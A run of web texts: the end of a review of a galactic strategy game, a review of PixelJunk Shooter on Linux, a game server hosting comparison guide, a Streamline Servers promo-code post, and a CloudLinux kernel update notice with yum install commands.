It’s a game that seems easy enough to get into (easier than the first game, at least to me), but getting good at it is something that will come with a lot of practice. Managing your resources, your ships, spending you research points wisely and learning how to both attack and defend is vital. You might find your home base under attack while your fleet is far away, it’s a very interesting grand tug of war. Moving too fast across the galaxy might land you in some hot water, so be careful how quickly you expand. I got utterly annihilated on my second proper game as I just wasn’t properly prepared for an AI invasion, a big one too!

If you enjoy large scale strategy games like Total Annihilation, Supreme Commander, Spring RTS games and so on you might quite like this. It still plays very differently though, with you dealing with many different planets as you spread yourself across the galaxy. I’ve hardly scratched the surface of it with multiple hours already.

Bugs are to be expected of course since it’s an unfinished Early Access game. With that in mind, find it on Humble Store and Steam.

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Welcome to the another review in the PIN (Play It NOW) series, where we highlight under-rated games that didn’t get the praise and attention they deserved on release and still don’t to this day. Until now! This time, we’ll take a look at PixelJunk Shooter by Q-Games Ltd.

History

PixelJunk Shooter is Q-Games’ fourth title after Racers, Monsters, and Eden. Q-Games have been around since 2001, but it took them 6 years before they launched their PixelJunk™ label on the Playstation 3 when Racers first appeared followed quickly the same year by Monsters. Eden appeared the following summer and finally Shooter was launched in 2009.

However, we had to wait another four years for Q-Games to consider the PC an attractive platform. When they did, their timing couldn’t have been better. Valve had just released Steam for Linux and in a surprising and pleasing turn of events, Q-Games released Monsters in August that year for all three platforms!

Shooter followed, again for all three platforms, towards the end of the same year. Sadly, since then Q-Games have failed to show us any consideration, with Shooter Ultimate, Nom Nom Galaxy and Monsters 2 all being launched Windows-only. Indeed, most of their literature suggests that Linux support was either an early experiment, or a complete accident – on their website, their non-console language mainly consists of “PC” and occasionally even “Steam” to mean Windows. It’s pretty clear where their focus lies and this is reflected in both their Japan-location and their listing of their primary clients on their website, a page which says simply “Nintendo and Sony”.

But however we came to having the incredible Pixeljunk Shooter on Linux, I’m just glad it happened. There’s hours of satisfying gameplay to be had here, so let’s dig in and learn more.

Plot

We won’t spend long here, I’m afraid! You man a rescue ship tasked with entering a planet’s mining operation which has gone disastrously wrong. Your job is to rescue all the scientists you can, and figure out what went wrong with the operation. You’ll be encouraged to look for secrets and diamonds along the way, but there’s not much else to distract us from the gameplay.

The bosses and secrets do allude to what caused the disaster and a story of sorts unfolds, but it’s really incidental. You’re here to manipulate the environment, shoot monsters and rescue workers and scientists. Move along! Nothing (much) to see here!

Game Mechanic

Shooter is a side-view exploratory twin-stick shooter with interactive, changeable environments consisting of elements which can also interact with each other to cause new elements to form, usually allowing progress through the level. The most obvious example is that if you pour water onto lava (well, technically it’s magma, because it’s not on the surface of the planet, but I’ve always called it lava, so I’m sticking with wilful ignorance on this point), it cools and turns into muddy rock which can be shot away with your lasers. Similarly, if you pour lava on hard ice, it will turn into water. If you set fire to gas, it will ignite and cause an explosive chain reaction. There’s also a magnetic oil which has its own unique properties and interactions.

Managing these interactions, while fighting off sporadic attacks from aliens, and making sure you rescue the humans before the lava or monsters gets to them is the core of the game.

All this mention of lava and ice might have tipped you off that temperature is a core mechanic in the game. Your ship has a temperature meter which will rise quickly when in proximity to heat sources and over-heating will cause the ship’s functions to shut down, which in turn will cause your ship to tumble out of the sky. Any impact with a hard surface or another bullet will cause your ship to explode while in the “shutdown” state. But if, while falling to your imminent death, a stray splash of water hits you, or you land in a pool of water, the cooling effect will revive your systems and bring you back into the game! In fact, some of the best moments of the game are entirely adlib through that exact mechanic! Even enemy shots don’t really “kill” you – they just overheat you and you start plummeting downwards, but you never know where you’ll land.

As usual, you can watch my short (three minute) video of the gameplay mechanics as I complete a single stage, within one of the ice-based levels.

Good news! Your ship has some unusual properties to help you survive. It does have a fairly standard laser-fire on the RT, but you can also hold down that trigger to cause multiple homing missiles to launch. There are no ammo constraints surprisingly, but each missile raises your core temperature significantly, and so firing too many could actually kill you!

The LT will fire out a grappling gun, ideal for picking up stranded scientists. Finally, you have a spin attack which you activate by spinning the thumbstick. This can break some rocks, but it’s usually more important for collecting coins from fallen enemies – the spin causes a vortex which pulls stray coins towards your ship.

That’s the basics, but later levels really capitalise on the water/ice, fire/gas, lava/rock themes. You’ll find that some levels have docking stations which change the very nature of your ship. Some will make you fire lava (which can kill you if it bounces off a wall and into your ship…) while others will make you fire water. There are even stations which cause an “opposite day” effect – lava will cool you, while water will overheat you!

Various objects also spruce up the puzzle mechanics. Sponges which can absorb water to let you carry it for short distances, lava pumps which can be picked up and positioned with your grapple gun and more. There are also diamonds and shields to be found if you look hard enough.

And finally, the bosses. Rarely, outside of Zelda or Metroid, have I found a game with such interesting and satisfying bosses. Boss fights are long and intricate and mostly don’t require you to memorise attacks (too much).

Actually, one more thing I love about Shooter – the flight mechanics. You can move your ship in any direction while facing any direction and there’s a bit of momentum giving the game a really solid feel. However, if you want speed, you’ll want to point your nose in the direction you want to go. When you do so, you quickly achieve quite a nice turn of speed, leaving a contrail in your wake. It’s a lovely little touch that really makes the game’s physics stand out.

Not so nice

I’m going to be controversial here. There is literally not a single thing I don’t like about this game. The only “not so nice” thing I can think of is my dismay that Pixeljunk Shooter 2, a PS3 exclusive, never made it to PC. Instead, they collected elements from both games, added new content and released it as Pixeljunk Ultimate… but only on Windows.

It’s a crying shame that a game of this quality was a throw-away for the studio. It doesn’t diminish Pixeljunk Shooter itself, but once you’ve played this, you’ll rue not having the sequels available.

Unless, you know, there’s always Steam Play? There are only two reports at the time of writing, but both of those rate the game as Platinum: https://spcr.netlify.com/app/332330. Of course, your mileage may vary!

Summary

It’s short, at about 5 to 6 hours of gameplay across 60 or so stages, but very, very sweet. You can team up locally to play a bit of multiplayer, or have just as much fun solo. And then you’ll want to collect every scientist, then find every diamond. Then speedrun a few levels, because you can, and because you’ll feel like a god as you blast your way through enemies and environment alike.

Buy and play this gorgeous, addictive game right now! It’s on GOG, Steam, and Humble (Steam key and DRM-free download).

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Looking for the best game server hosting provider? We know how difficult it can be to choose the right one given that there are many hosting providers that offer game hosting out there. We’ll help you out with our ultimate guide and comparison.

How to choose the best game server hosting provider for you

Basic guidelines that apply for most hosting providers apply here too. But here’s the gist of it:

• Make sure they support the game you’re planning on hosting. Either go through their website or contact them. By “support” each hosting provider has different criteria and what their scope of support actually is. Most of the times they have ready 1-click install options for your game servers, as well as 24/7 technical support.
• Make sure the game server type supports the number of planned players. If you plan on using the server with a couple of your friends, then you can go for a server with fewer resources, but if you plan on hosting a multiplayer server with dozens of players, you’d want to get a VPS with more resources or a dedicated server. Check the game’s official guidelines on what a server requires for a specific number of players, or contact the hosting provider. Each game has different server requirements, so there’s no ‘one size fits all” for game servers.
• Check if they offer DDoS protection. Unfortunately, game servers are a common target for DDoS attacks. If a hosting provider offers DDoS protection, you should go with them. However, if you properly secure your server you may not need DDoS protection at all.
• Check their reviews/uptime. Search for the provider on Twitter – check what kind of reviews they get. Some review websites can’t really be trusted, but if you notice a lot of reviews saying they experienced downtime (which is common for bad game server hosting providers) – you may want to avoid them.
• Don’t go for a free server hosting provider. This is just an accident waiting to happen. We won’t go into details, but basically, with the free game server hosting providers, you should not expect any support, any uptime, or fast servers.
• Choose a server location closest to the players. If most of the players are from the US, choose a server location from the US, preferably from the same state.
• Exclude website hosting from your requirements. Some game server hosting providers offer website hosting as well, but you don’t really need it. You’re better off getting “normal” web hosting and hosting your website/community there, instead of with the game hosting provider. The “normal” web hosting providers are usually a much better option since they specialize in just that – hosting websites. They have special control panels, experienced tech support reps, they are cheaper, etc.
• SSDs and latest hardware are a must. Don’t even think about getting an HDD server in 2018.
• …and more! It always depends on what kind of requirements the game has and what you actually need. As stated before, common guidelines apply here too, but at the end of the day, it all depends on your needs.

What to choose – specialized game server hosting providers or normal server hosting providers?

This is a common dilemma among gamers. It really boils down to what you’re going to use the server for, how easy it is to set it up, and how experienced you are. Here are some scenarios and use cases:

• If you have experience with servers, get an unmanaged server and set it up yourself. It’s way cheaper. You can follow tutorials on how to install a Minecraft server.
• If you don’t have experience with servers, but do know how to install, configure, and run a game server, go with a managed VPS. With a managed VPS, the hosting provider will manage the server for you, but you’ll most probably have to manage the game server yourself. Meaning, you’ll have to install, configure, and maintain the hosted game yourself. However, you can still contact them and ask them if they’ll do this for you, in some cases, they may help.
• If you don’t have any experience at all, go with a specialized game hosting provider. In this case, the hosting provider makes the job of hosting a game extremely easy. They offer 1-click installations, game server control panels, pre-configured servers, various options for server mods, 24/7 support, and more. We’ll compare this kind of hosting providers below.

Best Game Server Hosting Providers Comparison

We only chose the best. No EIG hosts, no hosts with many negative reviews. You can’t go wrong if you choose any of these. You can compare them by features, pricing, and more. The pricing depends on what game and server type you’ll choose. We used their 2GB RAM Minecraft server plans to use for our pricing column. You can get an additional discount with a coupon or a longer billing cycle. You can also get a cheaper plan with less RAM. Some hosting providers (like Host Havoc) use Xeon E5 and SSDs/NVMe, which is why they are a bit more expensive than the others. Check each hosting provider’s website for more info. The list is not ordered in any way. It’s random. You can even reorder it yourself. If you have any suggestions, you can leave a comment below. Anyway, here’s the actual game server hosting comparison:

Hosting Provider	24/7 Support	Instant Setup	Game Control Panels	DDoS Protection	Server Locations	Supported Games	Voice Servers	2GB RAM Minecraft Server Pricing	Promo/Coupon
Host Havoc					US, UK, EU, AU, CA	Minecraft, ARK, CS:GO, Unturned…		$10	7% Lifetime Discount
Voodoo Servers					EU, CA	Minecraft		$4
Streamline Servers					US, UK, EU, AU, CA, AS	Minecraft, ARK, CS:GO, Arma 3…		$9	15% lifetime discount
ExtraVM					US, UK, EU, AS	Minecraft, Fallout 76		$6	12% lifetime discount
BeastNode					US, EU	Minecraft		$5.99	15% lifetime discount

We’ll add more hosting providers as we find more, so you can check back here soon for updates.

Conclusion on game server hosting

Hope we made the whole process of choosing the best game server host easier. We included most of what you need to know in this article, but you can still google stuff or contact the hosting provider if you have questions. If you have any questions or need help choosing a host, feel free to contact us or just leave a comment below. Make sure to do your research before going with a hosting provider!

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Streamline Servers is a game hosting provider offering hosting for pretty much every multiplayer game. You can get a discount using the promo codes here.

Exclusive Streamline Servers Promo Code: Get a 15% Lifetime Discount Get up to 20% off your order at Streamline Servers – no coupon code needed. How to use the Streamline Servers promo code?

1. Get the promo code from this post.
2. Visit https://streamline-servers.com
3. Choose and configure the best hosting plan for you.
4. Enter the promo code from step 1
5. And that’s it. You’ve applied the promo code to your order.

How to use the Streamline Servers promo?

1. Just visit Streamline Servers, choose a hosting plan, and select a longer billing cycle.
2. That’s it! The discount will be automatically applied if you pre-pay for more months.

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CloudLinux 7 and CloudLinux 6 Hybrid kernel version 3.10.0-962.3.2.lve1.5.24.1 is now available for download from our updates-testing repository.

Changelog:

• x86/CPU/bugs: fixed reporting PTI mitigation to userspace;
• KMODLVE-205: created ‘immutable’ cgroups for UBC to prevent kernel crash on cgroup removal.

To update a kernel, please use the following command.

CloudLinux 7:

yum install kernel-3.10.0-962.3.2.lve1.5.24.1.el7 –enablerepo=cloudlinux-updates-testing

CloudLinux 6 Hybrid:

yum install kernel-3.10.0-962.3.2.lve1.5.24.1.el6h –enablerepo=cloudlinux-hybrid-testing

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